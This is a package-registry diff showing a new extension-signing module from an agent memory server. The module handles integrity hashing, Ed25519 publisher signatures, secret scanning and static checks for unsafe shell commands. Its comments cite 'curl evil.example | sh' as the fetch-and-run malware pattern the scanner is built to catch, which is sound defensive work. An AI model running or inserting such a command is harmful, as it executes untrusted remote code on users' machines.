@ijfw/memory-server 1.3.0 → 1.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. package/fixtures/team/book.json +47 -0
  2. package/fixtures/team/business.json +47 -0
  3. package/fixtures/team/content.json +47 -0
  4. package/fixtures/team/design.json +47 -0
  5. package/fixtures/team/mixed.json +59 -0
  6. package/fixtures/team/research.json +47 -0
  7. package/fixtures/team/software.json +47 -0
  8. package/package.json +1 -9
  9. package/src/active-extension-writer.js +116 -0
  10. package/src/blackboard.js +360 -0
  11. package/src/cli-run.js +91 -0
  12. package/src/codex-agents.js +177 -0
  13. package/src/compute/extract.js +3 -0
  14. package/src/compute/fts5.js +4 -4
  15. package/src/compute/graph-lock.js +0 -2
  16. package/src/compute/migrations/003-tier-semantic.js +3 -3
  17. package/src/compute/runner.js +44 -15
  18. package/src/compute/schema.sql +1 -1
  19. package/src/cross-orchestrator-cli.js +974 -13
  20. package/src/cross-orchestrator.js +9 -1
  21. package/src/dashboard-client.html +144 -1
  22. package/src/dashboard-server.js +75 -2
  23. package/src/design-intelligence.js +721 -0
  24. package/src/dispatch/colon-syntax.js +31 -3
  25. package/src/dispatch/domain-manifest.js +251 -0
  26. package/src/dispatch/extension.js +404 -0
  27. package/src/dispatch/override.js +221 -0
  28. package/src/dispatch-planner.js +1 -0
  29. package/src/dream/runner.mjs +3 -3
  30. package/src/extension-installer.js +1230 -0
  31. package/src/extension-manifest-schema.js +301 -0
  32. package/src/extension-signer.js +740 -0
  33. package/src/gate-result-formatter.js +95 -0
  34. package/src/gate-result-schema.js +274 -0
  35. package/src/gate-result.js +195 -0
  36. package/src/intent-router.js +2 -0
  37. package/src/lib/npm-view.js +1 -0
  38. package/src/memory/fts5.js +3 -3
  39. package/src/memory/migrations/002-tier-semantic.js +2 -2
  40. package/src/memory/staleness.js +1 -1
  41. package/src/memory/tier-promotion.js +6 -6
  42. package/src/memory/tokenize.js +1 -1
  43. package/src/memory-feedback.js +188 -0
  44. package/src/override-manifest-schema.js +146 -0
  45. package/src/override-resolver.js +699 -0
  46. package/src/override-use-registry.js +307 -0
  47. package/src/overrides/presets/academic.md +101 -0
  48. package/src/overrides/presets/book.md +87 -0
  49. package/src/overrides/presets/campaign.md +95 -0
  50. package/src/overrides/presets/screenplay.md +99 -0
  51. package/src/recovery/checkpoint.js +191 -0
  52. package/src/redactor.js +2 -0
  53. package/src/runtime-mediator.js +178 -0
  54. package/src/sandbox.js +17 -3
  55. package/src/server.js +94 -2
  56. package/src/swarm/dispatch-prompt.js +154 -0
  57. package/src/swarm/planner.js +399 -0
  58. package/src/swarm/review.js +136 -0
  59. package/src/swarm/worktree.js +239 -0
  60. package/src/team/generator.js +119 -0
  61. package/src/team/schemas.js +341 -0
  62. package/src/trident/dispatch.js +47 -0
  63. package/src/update-check.js +1 -1
  64. package/src/vectors.js +7 -8
@@ -0,0 +1,740 @@
1
+ /**
2
+ * Extension integrity + signing module — IJFW 1.4.0 Open Ecosystem.
3
+ *
4
+ * Two layered defenses live here:
5
+ *
6
+ * 1. SHA256 integrity hash (computeIntegrity / verifyIntegrity)
7
+ * Detects in-transit corruption and naive post-install edits. Does
8
+ * NOT authenticate the publisher on its own.
9
+ *
10
+ * 2. Ed25519 asymmetric publisher signing (W7/B1: signManifest /
11
+ * verifyManifestSignature, generatePublisherKeypair, trusted-publishers
12
+ * store at ~/.ijfw/trusted-publishers.json). Authenticates the publisher
13
+ * against a per-host trust store. Unsigned manifests require explicit
14
+ * opts.allowUnsigned; signed-but-untrusted manifests require explicit
15
+ * opts.acceptUntrusted.
16
+ *
17
+ * v1.4.0 trust = signature verify (publisher) + Trident install-gate audit
18
+ * (3-lens content audit) + integrity hash (tamper) + install-time static
19
+ * analysis (`scanExtensionForSecrets` via `classify()` from redactor.js,
20
+ * `scanInlineCommands` via `isSafeVerifyCommand()` from ralph-allowlist.js).
21
+ *
22
+ * Spec: .planning/1.4.0/security-spec.md
23
+ *
24
+ * Uses node:crypto + node:fs/promises only — no subprocess invocations.
25
+ */
26
+
27
+ import {
28
+ createHash,
29
+ createPrivateKey,
30
+ createPublicKey,
31
+ generateKeyPairSync,
32
+ sign as cryptoSign,
33
+ verify as cryptoVerify,
34
+ } from 'node:crypto';
35
+ import { readdir, readFile, stat, mkdir, writeFile, chmod } from 'node:fs/promises';
36
+ import { homedir } from 'node:os';
37
+ import { join, relative, sep } from 'node:path';
38
+
39
+ import { classify } from './redactor.js';
40
+ import { isSafeVerifyCommand } from './ralph-allowlist.js';
41
+ import {
42
+ INTEGRITY_PATTERN,
43
+ PERMISSION_READS,
44
+ PERMISSION_WRITES,
45
+ SIGNATURE_PATTERN,
46
+ PUBLISHER_KEY_ID_PATTERN,
47
+ } from './extension-manifest-schema.js';
48
+
49
+ /**
50
+ * Recursively sort object keys to produce a stable canonical representation.
51
+ * Arrays preserve order (semantically meaningful); objects sort keys.
52
+ * Primitives pass through. `undefined` values are dropped (JSON-equivalent).
53
+ *
54
+ * @param {*} v
55
+ * @returns {*}
56
+ */
57
+ function sortKeysDeep(v) {
58
+ if (Array.isArray(v)) {
59
+ return v.map(sortKeysDeep);
60
+ }
61
+ if (v !== null && typeof v === 'object') {
62
+ const out = {};
63
+ const keys = Object.keys(v).sort();
64
+ for (const k of keys) {
65
+ if (v[k] === undefined) continue;
66
+ out[k] = sortKeysDeep(v[k]);
67
+ }
68
+ return out;
69
+ }
70
+ return v;
71
+ }
72
+
73
+ /**
74
+ * Produce the canonical JSON representation of a manifest for hashing.
75
+ * Recursively sorts object keys; omits the top-level `integrity` field.
76
+ *
77
+ * @param {object} manifest
78
+ * @returns {string} canonical JSON string (UTF-8)
79
+ */
80
+ export function canonicalise(manifest) {
81
+ if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
82
+ // Be permissive on inputs that aren't object-shaped — caller is responsible
83
+ // for shape, this function only serialises deterministically.
84
+ return JSON.stringify(sortKeysDeep(manifest));
85
+ }
86
+ // Top-level integrity field is excluded from the canonical body — the hash
87
+ // we compute here is what GOES INTO that field.
88
+ const shallow = {};
89
+ for (const k of Object.keys(manifest)) {
90
+ if (k === 'integrity') continue;
91
+ shallow[k] = manifest[k];
92
+ }
93
+ return JSON.stringify(sortKeysDeep(shallow));
94
+ }
95
+
96
+ /**
97
+ * Compute the SHA256 integrity hash over the canonical manifest and return
98
+ * a NEW manifest (shallow copy of input) with the `integrity` field
99
+ * populated as `sha256:<64 lowercase hex>`.
100
+ *
101
+ * @param {object} manifest
102
+ * @returns {object} manifest with `integrity: "sha256:<64 lowercase hex>"`
103
+ */
104
+ export function computeIntegrity(manifest) {
105
+ const canonical = canonicalise(manifest);
106
+ const digest = createHash('sha256').update(canonical, 'utf8').digest('hex');
107
+ return { ...manifest, integrity: `sha256:${digest}` };
108
+ }
109
+
110
+ /**
111
+ * Verify the integrity hash on a manifest. Recomputes the canonical hash and
112
+ * compares to the `integrity` field. Returns `valid: false` (does NOT throw)
113
+ * when the input lacks an integrity field or the field is malformed.
114
+ *
115
+ * Enforces the strict format `^sha256:[a-f0-9]{64}$` per residual R5.
116
+ *
117
+ * @param {object} manifest
118
+ * @returns {{ valid: boolean, expected: string | null, got: string | null }}
119
+ */
120
+ export function verifyIntegrity(manifest) {
121
+ if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
122
+ return { valid: false, expected: null, got: null };
123
+ }
124
+ const got = typeof manifest.integrity === 'string' ? manifest.integrity : null;
125
+ if (got === null) {
126
+ return { valid: false, expected: null, got: null };
127
+ }
128
+ if (!INTEGRITY_PATTERN.test(got)) {
129
+ return { valid: false, expected: null, got };
130
+ }
131
+ // Deep clone to avoid any mutation of the caller's object.
132
+ const clone = JSON.parse(JSON.stringify(manifest));
133
+ delete clone.integrity;
134
+ const canonical = canonicalise(clone);
135
+ const digest = createHash('sha256').update(canonical, 'utf8').digest('hex');
136
+ const expected = `sha256:${digest}`;
137
+ return { valid: expected === got, expected, got };
138
+ }
139
+
140
+ // Directories never scanned for secrets — large, generated, or VCS metadata.
141
+ const SCAN_SKIP_DIRS = new Set([
142
+ 'node_modules',
143
+ '.git',
144
+ '.svn',
145
+ '.hg',
146
+ 'dist',
147
+ 'build',
148
+ '.next',
149
+ '.cache',
150
+ ]);
151
+
152
+ // Files larger than this are treated as binary and skipped (1 MiB).
153
+ const SCAN_MAX_FILE_BYTES = 1024 * 1024;
154
+
155
+ /**
156
+ * Walk a directory tree, yielding absolute file paths. Skips SCAN_SKIP_DIRS.
157
+ *
158
+ * @param {string} root
159
+ * @returns {AsyncGenerator<string>}
160
+ */
161
+ async function* walkFiles(root) {
162
+ const entries = await readdir(root, { withFileTypes: true });
163
+ for (const entry of entries) {
164
+ const full = join(root, entry.name);
165
+ if (entry.isDirectory()) {
166
+ if (SCAN_SKIP_DIRS.has(entry.name)) continue;
167
+ yield* walkFiles(full);
168
+ } else if (entry.isFile()) {
169
+ yield full;
170
+ }
171
+ // Symlinks and other entry types are intentionally skipped.
172
+ }
173
+ }
174
+
175
+ /**
176
+ * Heuristically detect a binary file by null-byte presence in the head buffer.
177
+ *
178
+ * @param {Buffer} buf
179
+ * @returns {boolean}
180
+ */
181
+ function looksBinary(buf) {
182
+ const limit = Math.min(buf.length, 8192);
183
+ for (let i = 0; i < limit; i++) {
184
+ if (buf[i] === 0) return true;
185
+ }
186
+ return false;
187
+ }
188
+
189
+ /**
190
+ * Walk all files under `extensionDir` and scan each line for known secret
191
+ * patterns using `classify()` from `mcp-server/src/redactor.js`. Does NOT
192
+ * use `redactSecrets()` for detection — that returns the redacted string,
193
+ * not findings.
194
+ *
195
+ * Findings include `{file, line, kind}` — never the matched value itself
196
+ * (security spec §3.1).
197
+ *
198
+ * @param {string} extensionDir
199
+ * @returns {Promise<{ clean: boolean, findings: Array<{ file: string, line: number, kind: string }> }>}
200
+ */
201
+ export async function scanExtensionForSecrets(extensionDir) {
202
+ const findings = [];
203
+ for await (const absPath of walkFiles(extensionDir)) {
204
+ let buf;
205
+ try {
206
+ const st = await stat(absPath);
207
+ if (st.size > SCAN_MAX_FILE_BYTES) continue; // skip large/binary blobs
208
+ buf = await readFile(absPath);
209
+ } catch {
210
+ continue; // unreadable file — skip
211
+ }
212
+ if (looksBinary(buf)) continue;
213
+ const text = buf.toString('utf8');
214
+ const rel = relative(extensionDir, absPath).split(sep).join('/');
215
+ const lines = text.split(/\r?\n/);
216
+ for (let i = 0; i < lines.length; i++) {
217
+ const line = lines[i];
218
+ if (!line) continue;
219
+ // Line-level pass. classify() requires the WHOLE value to match a
220
+ // pattern, so we also try whitespace-delimited tokens for in-prose
221
+ // secrets (e.g. "token: sk-ant-..." on a single line).
222
+ const candidates = [line, ...line.split(/\s+/)];
223
+ for (const c of candidates) {
224
+ const result = classify(c);
225
+ if (!result.clean) {
226
+ findings.push({
227
+ file: rel,
228
+ line: i + 1,
229
+ kind: result.redacted_kind,
230
+ });
231
+ break; // one finding per line is enough; never log the value
232
+ }
233
+ }
234
+ }
235
+ }
236
+ return { clean: findings.length === 0, findings };
237
+ }
238
+
239
+ /**
240
+ * Extract shell commands from markdown fenced code blocks, indented code blocks,
241
+ * and inline `$ <cmd>` lines, then run each through `isSafeVerifyCommand()`.
242
+ * Returns findings for unsafe commands (FORBID_LIST matches). Allowlist misses
243
+ * do NOT produce findings — skill bodies legitimately contain prose like
244
+ * `npm run dev` that isn't a verify primitive.
245
+ *
246
+ * Static analysis errs on the side of "scan more" — coverage includes:
247
+ * - Backtick fences ``` with language tags: bash, sh, shell, zsh, fish,
248
+ * console, sh-session, posh, powershell (case-insensitive).
249
+ * - Backtick fences ``` with NO language tag (still scanned).
250
+ * - Tilde fences ~~~ with the same language set, and no-tag tilde fences.
251
+ * - 4-space-indented blocks (markdown indent-code) — each indented line
252
+ * that looks shell-ish is treated as a candidate command.
253
+ * - Inline `$ <cmd>` lines outside any fenced block.
254
+ *
255
+ * Compound commands split on `&&`, `||`, `;`, AND `|` so that
256
+ * `curl evil.example | sh` is scanned as `curl evil.example` AND `sh`.
257
+ *
258
+ * Findings have shape `{kind: 'unsafe-command', command, reason}` and the
259
+ * `command` is truncated to 80 chars to avoid embedding large payloads.
260
+ *
261
+ * @param {string} skillBody
262
+ * @returns {{ clean: boolean, findings: Array<{ kind: string, command: string, reason: string }> }}
263
+ */
264
+ export function scanInlineCommands(skillBody) {
265
+ const findings = [];
266
+ if (typeof skillBody !== 'string' || skillBody === '') {
267
+ return { clean: true, findings };
268
+ }
269
+
270
+ // Recognised shell-language fence tags (case-insensitive). Empty tag is
271
+ // also accepted via a separate regex below — adversarial blocks routinely
272
+ // omit the language hint.
273
+ const SHELL_LANG = 'bash|sh|shell|zsh|fish|console|sh-session|posh|powershell';
274
+
275
+ // Helper: split a raw command line into segments on shell control operators.
276
+ // Splits on `&&`, `||`, `;`, and `|` — the last is critical because
277
+ // `curl evil | sh` is the canonical bootstrap-malware pattern and must be
278
+ // scanned as both halves. Pipes inside quoted strings are over-split, which
279
+ // is acceptable for this conservative static check.
280
+ const splitSegments = (raw) => raw.split(/&&|\|\||;|\|/);
281
+
282
+ // Helper: classify one segment and push a finding if FORBIDden.
283
+ const testSegment = (seg) => {
284
+ const trimmed = seg.trim();
285
+ if (!trimmed) return;
286
+ if (trimmed.startsWith('#')) return; // comment
287
+ const result = isSafeVerifyCommand(trimmed);
288
+ if (result.safe === false && /is in forbid list/.test(result.reason)) {
289
+ findings.push({
290
+ kind: 'unsafe-command',
291
+ command: trimmed.slice(0, 80),
292
+ reason: result.reason,
293
+ });
294
+ }
295
+ };
296
+
297
+ // Helper: walk every line of a fenced block body, splitting compounds.
298
+ const scanBlockBody = (block) => {
299
+ const rawLines = block.split(/\r?\n/);
300
+ for (const raw of rawLines) {
301
+ for (const seg of splitSegments(raw)) {
302
+ testSegment(seg);
303
+ }
304
+ }
305
+ };
306
+
307
+ // 1a. Backtick-fenced blocks with a shell-language tag.
308
+ const fenceTaggedRe = new RegExp(
309
+ '```(?:' + SHELL_LANG + ')\\s*\\r?\\n([\\s\\S]*?)```',
310
+ 'gi',
311
+ );
312
+ let m;
313
+ while ((m = fenceTaggedRe.exec(skillBody)) !== null) {
314
+ scanBlockBody(m[1]);
315
+ }
316
+
317
+ // 1b. Backtick-fenced blocks with NO language tag (```\n…\n```). We scan
318
+ // these too because adversarial blocks routinely omit the hint. Tagged
319
+ // non-shell fences (e.g. ```python) are deliberately skipped.
320
+ const fenceUntaggedRe = /```[ \t]*\r?\n([\s\S]*?)```/g;
321
+ while ((m = fenceUntaggedRe.exec(skillBody)) !== null) {
322
+ scanBlockBody(m[1]);
323
+ }
324
+
325
+ // 1c. Tilde-fenced blocks (~~~) with a shell-language tag.
326
+ const tildeTaggedRe = new RegExp(
327
+ '~~~(?:' + SHELL_LANG + ')\\s*\\r?\\n([\\s\\S]*?)~~~',
328
+ 'gi',
329
+ );
330
+ while ((m = tildeTaggedRe.exec(skillBody)) !== null) {
331
+ scanBlockBody(m[1]);
332
+ }
333
+
334
+ // 1d. Tilde-fenced blocks with NO language tag.
335
+ const tildeUntaggedRe = /~~~[ \t]*\r?\n([\s\S]*?)~~~/g;
336
+ while ((m = tildeUntaggedRe.exec(skillBody)) !== null) {
337
+ scanBlockBody(m[1]);
338
+ }
339
+
340
+ // 2. 4-space-indented code blocks. We strip fenced blocks first to avoid
341
+ // double-counting their interiors as indented blocks. Each indented line
342
+ // whose post-indent content starts with a shell-ish character (a-z, /,
343
+ // or .) is treated as a candidate command and split on operators.
344
+ let stripped = skillBody.replace(/```[\s\S]*?```/g, '');
345
+ stripped = stripped.replace(/~~~[\s\S]*?~~~/g, '');
346
+ const lines = stripped.split(/\r?\n/);
347
+ for (const line of lines) {
348
+ // 4+ leading spaces (no tabs — CommonMark indented-code is space-only).
349
+ const im = line.match(/^[ ]{4,}(.*)$/);
350
+ if (!im) continue;
351
+ const content = im[1];
352
+ // Shell-looking heuristic: starts with a letter, `.`, or `/` and is not
353
+ // a code-block comment or empty.
354
+ if (!/^[a-zA-Z./]/.test(content)) continue;
355
+ for (const seg of splitSegments(content)) {
356
+ testSegment(seg);
357
+ }
358
+ }
359
+
360
+ // 3. Inline `$ <cmd>` lines outside any fenced/tilde block.
361
+ const inlineRe = /^\s*\$\s+(.+)$/gm;
362
+ while ((m = inlineRe.exec(stripped)) !== null) {
363
+ for (const seg of splitSegments(m[1])) {
364
+ testSegment(seg);
365
+ }
366
+ }
367
+
368
+ return { clean: findings.length === 0, findings };
369
+ }
370
+
371
+ /**
372
+ * Validate that an extension's declared permissions are subsets of the
373
+ * schema allowlists (`PERMISSION_READS`, `PERMISSION_WRITES`). v1.4.0
374
+ * permissions are declarative intent — this check guards against typos and
375
+ * out-of-vocabulary declarations.
376
+ *
377
+ * Missing `permissions` block is treated as `{reads: [], writes: []}`
378
+ * (valid). Non-object permissions fail validation.
379
+ *
380
+ * @param {object} manifest
381
+ * @returns {{ valid: boolean, errors: string[] }}
382
+ */
383
+ export function validatePermissions(manifest) {
384
+ const errors = [];
385
+ if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
386
+ return { valid: false, errors: ['manifest: must be an object'] };
387
+ }
388
+ const perms = manifest.permissions;
389
+ if (perms === undefined) {
390
+ // Treat as empty (valid).
391
+ return { valid: true, errors: [] };
392
+ }
393
+ if (perms === null || typeof perms !== 'object' || Array.isArray(perms)) {
394
+ return { valid: false, errors: ['permissions: must be an object with reads/writes arrays'] };
395
+ }
396
+
397
+ const reads = perms.reads ?? [];
398
+ const writes = perms.writes ?? [];
399
+
400
+ if (!Array.isArray(reads)) {
401
+ errors.push('permissions.reads: must be an array');
402
+ } else {
403
+ reads.forEach((p, i) => {
404
+ if (typeof p !== 'string') {
405
+ errors.push(`permissions.reads[${i}]: must be a string`);
406
+ return;
407
+ }
408
+ if (!PERMISSION_READS.includes(p)) {
409
+ errors.push(`permissions.reads[${i}]: ${JSON.stringify(p)} not in allowlist`);
410
+ }
411
+ });
412
+ }
413
+
414
+ if (!Array.isArray(writes)) {
415
+ errors.push('permissions.writes: must be an array');
416
+ } else {
417
+ writes.forEach((p, i) => {
418
+ if (typeof p !== 'string') {
419
+ errors.push(`permissions.writes[${i}]: must be a string`);
420
+ return;
421
+ }
422
+ if (!PERMISSION_WRITES.includes(p)) {
423
+ errors.push(`permissions.writes[${i}]: ${JSON.stringify(p)} not in allowlist`);
424
+ }
425
+ });
426
+ }
427
+
428
+ return { valid: errors.length === 0, errors };
429
+ }
430
+
431
+ // === W7/B1: Asymmetric Ed25519 publisher signing =========================
432
+ //
433
+ // Trust model upgrade for v1.4.0:
434
+ // - integrity (sha256) detects tamper, independent of signing.
435
+ // - signature (ed25519) binds a manifest to a publisher keypair.
436
+ // - publisher_key_id = sha256 fingerprint (hex) of the PEM-encoded public key.
437
+ // - Trusted publishers store at ~/.ijfw/trusted-publishers.json.
438
+ // - Keypairs persist at ~/.ijfw/keys/<keyId>/ (private 0600, public 0644).
439
+ //
440
+ // Canonicalisation for signing: drop `signature` AND `integrity` fields, then
441
+ // serialise with sortKeysDeep -> JSON.stringify. Verification re-creates the
442
+ // same canonical form.
443
+
444
+ function keysRoot() {
445
+ return join(homedir(), '.ijfw', 'keys');
446
+ }
447
+
448
+ function trustedPublishersPath() {
449
+ return join(homedir(), '.ijfw', 'trusted-publishers.json');
450
+ }
451
+
452
+ /**
453
+ * Canonical bytes for signing: drop signature + integrity, sort keys deep,
454
+ * UTF-8 encode. Shared by signManifest / verifyManifestSignature so both
455
+ * sides produce byte-identical input.
456
+ *
457
+ * @param {object} manifest
458
+ * @returns {Buffer}
459
+ */
460
+ function canonicalSigningBytes(manifest) {
461
+ if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
462
+ return Buffer.from(JSON.stringify(sortKeysDeep(manifest)), 'utf8');
463
+ }
464
+ const shallow = {};
465
+ for (const k of Object.keys(manifest)) {
466
+ if (k === 'signature' || k === 'integrity') continue;
467
+ shallow[k] = manifest[k];
468
+ }
469
+ return Buffer.from(JSON.stringify(sortKeysDeep(shallow)), 'utf8');
470
+ }
471
+
472
+ /**
473
+ * Compute the sha256 hex fingerprint (lowercase) of a PEM-encoded public key.
474
+ * Uses the DER-encoded form so a re-encode of the same key still fingerprints
475
+ * to the same id.
476
+ *
477
+ * @param {string} publicKeyPem
478
+ * @returns {string}
479
+ */
480
+ export function publicKeyFingerprint(publicKeyPem) {
481
+ const key = createPublicKey(publicKeyPem);
482
+ const der = key.export({ type: 'spki', format: 'der' });
483
+ return createHash('sha256').update(der).digest('hex');
484
+ }
485
+
486
+ /**
487
+ * Generate a new Ed25519 publisher keypair, persist it under ~/.ijfw/keys/<keyId>/,
488
+ * and return the in-memory PEM material + the derived keyId.
489
+ *
490
+ * @param {string} [authorName] informational only (recorded in the receipt)
491
+ * @returns {Promise<{ publicKey: string, privateKey: string, keyId: string, dir: string }>}
492
+ */
493
+ export async function generatePublisherKeypair(authorName) {
494
+ const { publicKey, privateKey } = generateKeyPairSync('ed25519');
495
+ const publicKeyPem = publicKey.export({ type: 'spki', format: 'pem' }).toString();
496
+ const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' }).toString();
497
+ const keyId = publicKeyFingerprint(publicKeyPem);
498
+
499
+ const dir = join(keysRoot(), keyId);
500
+ // W7.1/B1-L-01: mode 0700 so the per-key directory is not group/world
501
+ // listable. Private key file inside is 0600 separately.
502
+ await mkdir(dir, { recursive: true, mode: 0o700 });
503
+ try { await chmod(dir, 0o700); } catch { /* best-effort */ }
504
+ const pubPath = join(dir, 'public.pem');
505
+ const privPath = join(dir, 'private.pem');
506
+ await writeFile(pubPath, publicKeyPem, 'utf8');
507
+ await writeFile(privPath, privateKeyPem, { encoding: 'utf8', mode: 0o600 });
508
+ // Re-chmod belt-and-braces; some platforms ignore the open-time mode arg.
509
+ try { await chmod(privPath, 0o600); } catch { /* best-effort */ }
510
+ try { await chmod(pubPath, 0o644); } catch { /* best-effort */ }
511
+
512
+ // Author receipt (informational; not authoritative).
513
+ if (typeof authorName === 'string' && authorName.length > 0) {
514
+ try {
515
+ await writeFile(
516
+ join(dir, 'author.txt'),
517
+ `${authorName}\n${new Date().toISOString()}\n`,
518
+ 'utf8',
519
+ );
520
+ } catch { /* non-fatal */ }
521
+ }
522
+
523
+ return { publicKey: publicKeyPem, privateKey: privateKeyPem, keyId, dir };
524
+ }
525
+
526
+ /**
527
+ * Load a previously-generated keypair from ~/.ijfw/keys/<keyId>/. Returns null
528
+ * if either file is missing.
529
+ *
530
+ * @param {string} keyId
531
+ * @returns {Promise<{ publicKey: string, privateKey: string, keyId: string } | null>}
532
+ */
533
+ export async function loadPublisherKeypair(keyId) {
534
+ if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) return null;
535
+ const dir = join(keysRoot(), keyId);
536
+ try {
537
+ const [publicKey, privateKey] = await Promise.all([
538
+ readFile(join(dir, 'public.pem'), 'utf8'),
539
+ readFile(join(dir, 'private.pem'), 'utf8'),
540
+ ]);
541
+ return { publicKey, privateKey, keyId };
542
+ } catch {
543
+ return null;
544
+ }
545
+ }
546
+
547
+ /**
548
+ * Sign a manifest. Returns a NEW manifest with `signature` + `publisher_key_id`
549
+ * fields populated. Re-computes integrity AFTER signing so the integrity hash
550
+ * covers the signature payload too (signature is excluded from signing bytes
551
+ * but included in integrity bytes, so any post-sign edit is detected).
552
+ *
553
+ * @param {object} manifest
554
+ * @param {string} privateKeyPem
555
+ * @returns {object} manifest with signature, publisher_key_id, integrity
556
+ */
557
+ export function signManifest(manifest, privateKeyPem) {
558
+ if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
559
+ throw new TypeError('signManifest: manifest must be an object');
560
+ }
561
+ const priv = createPrivateKey(privateKeyPem);
562
+ // Derive the matching public key + keyId so the publisher_key_id is
563
+ // self-consistent with the signing material.
564
+ const pub = createPublicKey(priv);
565
+ const publicKeyPem = pub.export({ type: 'spki', format: 'pem' }).toString();
566
+ const keyId = publicKeyFingerprint(publicKeyPem);
567
+
568
+ // Add publisher_key_id BEFORE computing signing bytes so verify-time canonical
569
+ // bytes (which include publisher_key_id) match sign-time canonical bytes.
570
+ const toSign = { ...manifest, publisher_key_id: keyId };
571
+ const bytes = canonicalSigningBytes(toSign);
572
+ const sigBuf = cryptoSign(null, bytes, priv);
573
+ const signature = `ed25519:${sigBuf.toString('base64')}`;
574
+
575
+ const signed = {
576
+ ...toSign,
577
+ signature,
578
+ };
579
+ // Recompute integrity to cover the signature + key id fields.
580
+ return computeIntegrity(signed);
581
+ }
582
+
583
+ /**
584
+ * Verify a manifest's signature against a map of trusted publishers.
585
+ *
586
+ * @param {object} manifest
587
+ * @param {{ publishers: Record<string, { publicKey: string, name?: string }> } | null} trustedKeys
588
+ * @returns {{ valid: boolean, publisherKeyId: string | null, reason: string }}
589
+ */
590
+ export function verifyManifestSignature(manifest, trustedKeys) {
591
+ if (manifest === null || typeof manifest !== 'object' || Array.isArray(manifest)) {
592
+ return { valid: false, publisherKeyId: null, reason: 'manifest must be an object' };
593
+ }
594
+ const sig = typeof manifest.signature === 'string' ? manifest.signature : null;
595
+ const kid = typeof manifest.publisher_key_id === 'string' ? manifest.publisher_key_id : null;
596
+ if (!sig) return { valid: false, publisherKeyId: null, reason: 'manifest has no signature' };
597
+ if (!SIGNATURE_PATTERN.test(sig)) return { valid: false, publisherKeyId: null, reason: 'signature shape invalid' };
598
+ if (!kid) return { valid: false, publisherKeyId: null, reason: 'manifest missing publisher_key_id' };
599
+ if (!PUBLISHER_KEY_ID_PATTERN.test(kid)) return { valid: false, publisherKeyId: kid, reason: 'publisher_key_id shape invalid' };
600
+
601
+ const publishers = (trustedKeys && trustedKeys.publishers) || {};
602
+ const entry = publishers[kid];
603
+ if (!entry || typeof entry.publicKey !== 'string') {
604
+ return { valid: false, publisherKeyId: kid, reason: `publisher ${kid} not trusted` };
605
+ }
606
+
607
+ let pubKey;
608
+ try {
609
+ pubKey = createPublicKey(entry.publicKey);
610
+ } catch (err) {
611
+ return { valid: false, publisherKeyId: kid, reason: `trusted publisher key unparseable: ${err.message}` };
612
+ }
613
+ // Belt-and-braces: confirm the trusted key actually fingerprints to the
614
+ // declared keyId. Defends against a tampered trusted-publishers.json where
615
+ // someone swapped publicKey but kept the keyId.
616
+ try {
617
+ const fp = publicKeyFingerprint(entry.publicKey);
618
+ if (fp !== kid) {
619
+ return { valid: false, publisherKeyId: kid, reason: 'trusted publicKey does not match keyId' };
620
+ }
621
+ } catch {
622
+ return { valid: false, publisherKeyId: kid, reason: 'trusted publicKey fingerprint failed' };
623
+ }
624
+
625
+ const sigB64 = sig.slice('ed25519:'.length);
626
+ let sigBuf;
627
+ try {
628
+ sigBuf = Buffer.from(sigB64, 'base64');
629
+ } catch {
630
+ return { valid: false, publisherKeyId: kid, reason: 'signature base64 decode failed' };
631
+ }
632
+
633
+ const bytes = canonicalSigningBytes(manifest);
634
+ let ok;
635
+ try {
636
+ ok = cryptoVerify(null, bytes, pubKey, sigBuf);
637
+ } catch (err) {
638
+ return { valid: false, publisherKeyId: kid, reason: `verify failed: ${err.message}` };
639
+ }
640
+ if (!ok) return { valid: false, publisherKeyId: kid, reason: 'signature does not verify' };
641
+ return { valid: true, publisherKeyId: kid, reason: 'ok' };
642
+ }
643
+
644
+ /**
645
+ * Read the trusted publishers JSON. Returns `{publishers: {}}` when absent or
646
+ * malformed (fail-closed for verification: no trusted keys means nothing is
647
+ * trusted).
648
+ *
649
+ * @returns {Promise<{ publishers: Record<string, { name?: string, publicKey: string, added_at?: string }> }>}
650
+ */
651
+ export async function readTrustedPublishers() {
652
+ const path = trustedPublishersPath();
653
+ let raw;
654
+ try {
655
+ raw = await readFile(path, 'utf8');
656
+ } catch {
657
+ return { publishers: {} };
658
+ }
659
+ let parsed;
660
+ try {
661
+ parsed = JSON.parse(raw);
662
+ } catch {
663
+ return { publishers: {} };
664
+ }
665
+ if (!parsed || typeof parsed !== 'object' || parsed.publishers === null || typeof parsed.publishers !== 'object') {
666
+ return { publishers: {} };
667
+ }
668
+ // Filter entries to well-formed records.
669
+ const out = { publishers: {} };
670
+ for (const [kid, val] of Object.entries(parsed.publishers)) {
671
+ if (!PUBLISHER_KEY_ID_PATTERN.test(kid)) continue;
672
+ if (!val || typeof val !== 'object' || typeof val.publicKey !== 'string') continue;
673
+ out.publishers[kid] = {
674
+ name: typeof val.name === 'string' ? val.name : undefined,
675
+ publicKey: val.publicKey,
676
+ added_at: typeof val.added_at === 'string' ? val.added_at : undefined,
677
+ };
678
+ }
679
+ return out;
680
+ }
681
+
682
+ async function writeTrustedPublishers(store) {
683
+ const path = trustedPublishersPath();
684
+ await mkdir(join(homedir(), '.ijfw'), { recursive: true });
685
+ await writeFile(path, JSON.stringify(store, null, 2) + '\n', 'utf8');
686
+ }
687
+
688
+ /**
689
+ * Add (or replace) a trusted publisher entry. Validates the publicKey
690
+ * fingerprint against the supplied keyId. Returns the updated store.
691
+ *
692
+ * @param {string} keyId
693
+ * @param {string} publicKey PEM-encoded
694
+ * @param {string} [name]
695
+ * @returns {Promise<{ ok: boolean, error?: string, store?: object }>}
696
+ */
697
+ export async function addTrustedPublisher(keyId, publicKey, name) {
698
+ if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) {
699
+ return { ok: false, error: 'invalid keyId' };
700
+ }
701
+ if (typeof publicKey !== 'string' || publicKey.indexOf('BEGIN PUBLIC KEY') === -1) {
702
+ return { ok: false, error: 'publicKey must be PEM-encoded' };
703
+ }
704
+ let fp;
705
